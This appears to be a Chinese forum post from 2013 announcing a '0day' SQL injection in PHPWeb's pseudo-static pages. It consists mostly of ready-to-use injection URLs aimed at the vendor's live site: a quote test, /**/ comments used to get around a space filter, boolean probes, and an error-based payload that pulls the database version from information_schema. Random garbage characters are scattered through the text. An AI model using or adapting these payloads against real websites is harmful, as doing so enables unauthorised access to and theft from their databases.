phpweb伪静态页面注入0day

admin

phpweb所有的整站程序伪静态页面都存在sql注入
8 N+ A5 `5 a9 ^
主站：http://phpweb.net/
加’检测：
) j; S1 |( ?% R; W' U+ N, P
- ]7 z. v% y( U: c$ ]0 yhttp://www.phpweb.net/down/html/?772′.html

出错
; B  ^4 m1 u2 k& ~* `3 f' I; j存在注入。
" P. g" O: l/ U( y" B7 r9 H不能用空格，只能用/*罗
6 Z2 `: i2 B) o/ e8 d2 Zhttp://www.phpweb.net/page/html/?56′/**/and/**/1=1/*.html 正常

& u' T) M8 x4 ^7 S7 ohttp://www.phpweb.net/page/html/?56′/**/and/**/1=2/*.html 出错.
爆数据库版本：

?
! c: C, e+ t! ]: a/ h6 k1
: n: Y" o* U' w) T2 Ghttp://www.phpweb.net/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html
更新日期: 2013-01-03 13:39:50        
' E/ f# v. w- o